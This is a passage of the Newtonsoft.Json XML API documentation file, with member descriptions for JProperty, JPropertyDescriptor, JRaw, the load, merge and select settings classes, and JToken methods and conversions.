requests.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> which will be used when writing the token.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous write operation.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JProperty.LoadAsync(Newtonsoft.Json.JsonReader,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously loads a <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/>.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> representing the asynchronous creation. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns a <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JProperty.LoadAsync(Newtonsoft.Json.JsonReader,Newtonsoft.Json.Linq.JsonLoadSettings,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously loads a <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/>.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> representing the asynchronous creation. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns a <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JProperty.ChildrenTokens\">\n            <summary>\n            Gets the container's children tokens.\n            </summary>\n            <value>The container's children tokens.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JProperty.Name\">\n            <summary>\n            Gets the property name.\n            </summary>\n            <value>The property name.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JProperty.Value\">\n            <summary>\n            Gets or sets the property value.\n            </summary>\n            <value>The property value.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JProperty.#ctor(Newtonsoft.Json.Linq.JProperty)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> class from another <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> object.\n            </summary>\n            <param name=\"other\">A <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> object to copy from.</param>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JProperty.Type\">\n            <summary>\n            Gets the node type for this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <value>The type.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JProperty.#ctor(System.String,System.Object[])\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> class.\n            </summary>\n            <param name=\"name\">The property name.</param>\n            <param name=\"content\">The property content.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JProperty.#ctor(System.String,System.Object)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> class.\n            </summary>\n            <param name=\"name\">The property name.</param>\n            <param name=\"content\">The property content.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JProperty.WriteTo(Newtonsoft.Json.JsonWriter,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Writes this token to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> which will be used when writing the token.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JProperty.Load(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Loads a <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/>.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JProperty.Load(Newtonsoft.Json.JsonReader,Newtonsoft.Json.Linq.JsonLoadSettings)\">\n            <summary>\n            Loads a <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/>.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JPropertyDescriptor\">\n            <summary>\n            Represents a view of a <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JPropertyDescriptor.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JPropertyDescriptor\"/> class.\n            </summary>\n            <param name=\"name\">The name.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JPropertyDescriptor.CanResetValue(System.Object)\">\n            <summary>\n            When overridden in a derived class, returns whether resetting an object changes its value.\n            </summary>\n            <returns>\n            <c>true</c> if resetting the component changes its value; otherwise, <c>false</c>.\n            </returns>\n            <param name=\"component\">The component to test for reset capability.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JPropertyDescriptor.GetValue(System.Object)\">\n            <summary>\n            When overridden in a derived class, gets the current value of the property on a component.\n            </summary>\n            <returns>\n            The value of a property for a given component.\n            </returns>\n            <param name=\"component\">The component with the property for which to retrieve the value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JPropertyDescriptor.ResetValue(System.Object)\">\n            <summary>\n            When overridden in a derived class, resets the value for this property of the component to the default value.\n            </summary>\n            <param name=\"component\">The component with the property value that is to be reset to the default value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JPropertyDescriptor.SetValue(System.Object,System.Object)\">\n            <summary>\n            When overridden in a derived class, sets the value of the component to a different value.\n            </summary>\n            <param name=\"component\">The component with the property value that is to be set.</param>\n            <param name=\"value\">The new value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JPropertyDescriptor.ShouldSerializeValue(System.Object)\">\n            <summary>\n            When overridden in a derived class, determines a value indicating whether the value of this property needs to be persisted.\n            </summary>\n            <returns>\n            <c>true</c> if the property should be persisted; otherwise, <c>false</c>.\n            </returns>\n            <param name=\"component\">The component with the property to be examined for persistence.</param>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JPropertyDescriptor.ComponentType\">\n            <summary>\n            When overridden in a derived class, gets the type of the component this property is bound to.\n            </summary>\n            <returns>\n            A <see cref=\"T:System.Type\"/> that represents the type of component this property is bound to.\n            When the <see cref=\"M:System.ComponentModel.PropertyDescriptor.GetValue(System.Object)\"/> or\n            <see cref=\"M:System.ComponentModel.PropertyDescriptor.SetValue(System.Object,System.Object)\"/>\n            methods are invoked, the object specified might be an instance of this type.\n            </returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JPropertyDescriptor.IsReadOnly\">\n            <summary>\n            When overridden in a derived class, gets a value indicating whether this property is read-only.\n            </summary>\n            <returns>\n            <c>true</c> if the property is read-only; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JPropertyDescriptor.PropertyType\">\n            <summary>\n            When overridden in a derived class, gets the type of the property.\n            </summary>\n            <returns>\n            A <see cref=\"T:System.Type\"/> that represents the type of the property.\n            </returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JPropertyDescriptor.NameHashCode\">\n            <summary>\n            Gets the hash code for the name of the member.\n            </summary>\n            <value></value>\n            <returns>\n            The hash code for the name of the member.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JRaw\">\n            <summary>\n            Represents a raw JSON string.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JRaw.CreateAsync(Newtonsoft.Json.JsonReader,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously creates an instance of <see cref=\"T:Newtonsoft.Json.Linq.JRaw\"/> with the content of the reader's current token.\n            </summary>\n            <param name=\"reader\">The reader.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> representing the asynchronous creation. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns an instance of <see cref=\"T:Newtonsoft.Json.Linq.JRaw\"/> with the content of the reader's current token.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JRaw.#ctor(Newtonsoft.Json.Linq.JRaw)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JRaw\"/> class from another <see cref=\"T:Newtonsoft.Json.Linq.JRaw\"/> object.\n            </summary>\n            <param name=\"other\">A <see cref=\"T:Newtonsoft.Json.Linq.JRaw\"/> object to copy from.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JRaw.#ctor(System.Object)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JRaw\"/> class.\n            </summary>\n            <param name=\"rawJson\">The raw json.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JRaw.Create(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Creates an instance of <see cref=\"T:Newtonsoft.Json.Linq.JRaw\"/> with the content of the reader's current token.\n            </summary>\n            <param name=\"reader\">The reader.</param>\n            <returns>An instance of <see cref=\"T:Newtonsoft.Json.Linq.JRaw\"/> with the content of the reader's current token.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\">\n            <summary>\n            Specifies the settings used when loading JSON.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JsonLoadSettings.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> class.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JsonLoadSettings.CommentHandling\">\n            <summary>\n            Gets or sets how JSON comments are handled when loading JSON.\n            The default value is <see cref=\"F:Newtonsoft.Json.Linq.CommentHandling.Ignore\" />.\n            </summary>\n            <value>The JSON comment handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JsonLoadSettings.LineInfoHandling\">\n            <summary>\n            Gets or sets how JSON line info is handled when loading JSON.\n            The default value is <see cref=\"F:Newtonsoft.Json.Linq.LineInfoHandling.Load\" />.\n            </summary>\n            <value>The JSON line info handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JsonLoadSettings.DuplicatePropertyNameHandling\">\n            <summary>\n            Gets or sets how duplicate property names in JSON objects are handled when loading JSON.\n            The default value is <see cref=\"F:Newtonsoft.Json.Linq.DuplicatePropertyNameHandling.Replace\" />.\n            </summary>\n            <value>The JSON duplicate property name handling.</value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JsonMergeSettings\">\n            <summary>\n            Specifies the settings used when merging JSON.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JsonMergeSettings.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JsonMergeSettings\"/> class.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JsonMergeSettings.MergeArrayHandling\">\n            <summary>\n            Gets or sets the method used when merging JSON arrays.\n            </summary>\n            <value>The method used when merging JSON arrays.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JsonMergeSettings.MergeNullValueHandling\">\n            <summary>\n            Gets or sets how null value properties are merged.\n            </summary>\n            <value>How null value properties are merged.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JsonMergeSettings.PropertyNameComparison\">\n            <summary>\n            Gets or sets the comparison used to match property names while merging.\n            The exact property name will be searched for first and if no matching property is found then\n            the <see cref=\"T:System.StringComparison\"/> will be used to match a property.\n            </summary>\n            <value>The comparison used to match property names while merging.</value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JsonSelectSettings\">\n            <summary>\n            Specifies the settings used when selecting JSON.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JsonSelectSettings.RegexMatchTimeout\">\n            <summary>\n            Gets or sets a timeout that will be used when executing regular expressions.\n            </summary>\n            <value>The timeout that will be used when executing regular expressions.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JsonSelectSettings.ErrorWhenNoMatch\">\n            <summary>\n            Gets or sets a flag that indicates whether an error should be thrown if\n            no tokens are found when evaluating part of the expression.\n            </summary>\n            <value>\n            A flag that indicates whether an error should be thrown if\n            no tokens are found when evaluating part of the expression.\n            </value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Represents an abstract JSON token.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.WriteToAsync(Newtonsoft.Json.JsonWriter,System.Threading.CancellationToken,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Writes this token to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> asynchronously.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> which will be used when writing the token.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous write operation.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.WriteToAsync(Newtonsoft.Json.JsonWriter,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Writes this token to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> asynchronously.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> which will be used when writing the token.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous write operation.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.ReadFromAsync(Newtonsoft.Json.JsonReader,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously creates a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">An <see cref=\"T:Newtonsoft.Json.JsonReader\"/> positioned at the token to read into this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>\n            A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous creation. The\n            <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/> property returns a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains \n            the token and its descendant tokens\n            that were read from the reader. The runtime type of the token is determined\n            by the token type of the first token encountered in the reader.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.ReadFromAsync(Newtonsoft.Json.JsonReader,Newtonsoft.Json.Linq.JsonLoadSettings,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously creates a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">An <see cref=\"T:Newtonsoft.Json.JsonReader\"/> positioned at the token to read into this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>\n            A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous creation. The\n            <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/> property returns a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains \n            the token and its descendant tokens\n            that were read from the reader. The runtime type of the token is determined\n            by the token type of the first token encountered in the reader.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.LoadAsync(Newtonsoft.Json.JsonReader,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously creates a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> positioned at the token to read into this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>\n            A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous creation. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the token and its descendant tokens\n            that were read from the reader. The runtime type of the token is determined\n            by the token type of the first token encountered in the reader.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.LoadAsync(Newtonsoft.Json.JsonReader,Newtonsoft.Json.Linq.JsonLoadSettings,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously creates a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> positioned at the token to read into this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>\n            A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous creation. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the token and its descendant tokens\n            that were read from the reader. The runtime type of the token is determined\n            by the token type of the first token encountered in the reader.\n            </returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.EqualityComparer\">\n            <summary>\n            Gets a comparer that can compare two tokens for value equality.\n            </summary>\n            <value>A <see cref=\"T:Newtonsoft.Json.Linq.JTokenEqualityComparer\"/> that can compare two nodes for value equality.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.Parent\">\n            <summary>\n            Gets or sets the parent.\n            </summary>\n            <value>The parent.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.Root\">\n            <summary>\n            Gets the root <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> of this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <value>The root <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> of this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.Type\">\n            <summary>\n            Gets the node type for this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <value>The type.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.HasValues\">\n            <summary>\n            Gets a value indicating whether this token has child tokens.\n            </summary>\n            <value>\n            \t<c>true</c> if this token has child values; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.DeepEquals(Newtonsoft.Json.Linq.JToken,Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Compares the values of two tokens, including the values of all descendant tokens.\n            </summary>\n            <param name=\"t1\">The first <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to compare.</param>\n            <param name=\"t2\">The second <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to compare.</param>\n            <returns><c>true</c> if the tokens are equal; otherwise <c>false</c>.</returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.Next\">\n            <summary>\n            Gets the next sibling token of this node.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the next sibling token.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.Previous\">\n            <summary>\n            Gets the previous sibling token of this node.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the previous sibling token.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.Path\">\n            <summary>\n            Gets the path of the JSON token. \n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.AddAfterSelf(System.Object)\">\n            <summary>\n            Adds the specified content immediately after this token.\n            </summary>\n            <param name=\"content\">A content object that contains simple content or a collection of content objects to be added after this token.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.AddBeforeSelf(System.Object)\">\n            <summary>\n            Adds the specified content immediately before this token.\n            </summary>\n            <param name=\"content\">A content object that contains simple content or a collection of content objects to be added before this token.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Ancestors\">\n            <summary>\n            Returns a collection of the ancestor tokens of this token.\n            </summary>\n            <returns>A collection of the ancestor tokens of this token.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.AncestorsAndSelf\">\n            <summary>\n            Returns a collection of tokens that contain this token, and the ancestors of this token.\n            </summary>\n            <returns>A collection of tokens that contain this token, and the ancestors of this token.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.AfterSelf\">\n            <summary>\n            Returns a collection of the sibling tokens after this token, in document order.\n            </summary>\n            <returns>A collection of the sibling tokens after this tokens, in document order.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.BeforeSelf\">\n            <summary>\n            Returns a collection of the sibling tokens before this token, in document order.\n            </summary>\n            <returns>A collection of the sibling tokens before this token, in document order.</returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.Item(System.Object)\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Value``1(System.Object)\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key converted to the specified type.\n            </summary>\n            <typeparam name=\"T\">The type to convert the token to.</typeparam>\n            <param name=\"key\">The token key.</param>\n            <returns>The converted token value.</returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.First\">\n            <summary>\n            Get the first child token of this token.\n            </summary>\n            <value>A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> containing the first child token of the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.Last\">\n            <summary>\n            Get the last child token of this token.\n            </summary>\n            <value>A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> containing the last child token of the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Children\">\n            <summary>\n            Returns a collection of the child tokens of this token, in document order.\n            </summary>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> containing the child tokens of this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>, in document order.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Children``1\">\n            <summary>\n            Returns a collection of the child tokens of this token, in document order, filtered by the specified type.\n            </summary>\n            <typeparam name=\"T\">The type to filter the child tokens on.</typeparam>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JEnumerable`1\"/> containing the child tokens of this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>, in document order.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Values``1\">\n            <summary>\n            Returns a collection of the child values of this token, in document order.\n            </summary>\n            <typeparam name=\"T\">The type to convert the values to.</typeparam>\n            <returns>A <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> containing the child values of this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>, in document order.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Remove\">\n            <summary>\n            Removes this token from its parent.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Replace(Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Replaces this token with the specified token.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.WriteTo(Newtonsoft.Json.JsonWriter,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Writes this token to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> which will be used when writing the token.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.ToString\">\n            <summary>\n            Returns the indented JSON for this token.\n            </summary>\n            <remarks>\n            <c>ToString()</c> returns a non-JSON string value for tokens with a type of <see cref=\"F:Newtonsoft.Json.Linq.JTokenType.String\"/>.\n            If you want the JSON for all token types then you should use <see cref=\"M:Newtonsoft.Json.Linq.JToken.WriteTo(Newtonsoft.Json.JsonWriter,Newtonsoft.Json.JsonConverter[])\"/>.\n            </remarks>\n            <returns>\n            The indented JSON for this token.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.ToString(Newtonsoft.Json.Formatting,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Returns the JSON for this token using the given formatting and converters.\n            </summary>\n            <param name=\"formatting\">Indicates how the output should be formatted.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>s which will be used when writing the token.</param>\n            <returns>The JSON for this token using the given formatting and converters.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Boolean\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Boolean\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.DateTimeOffset\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.DateTimeOffset\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.Boolean}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            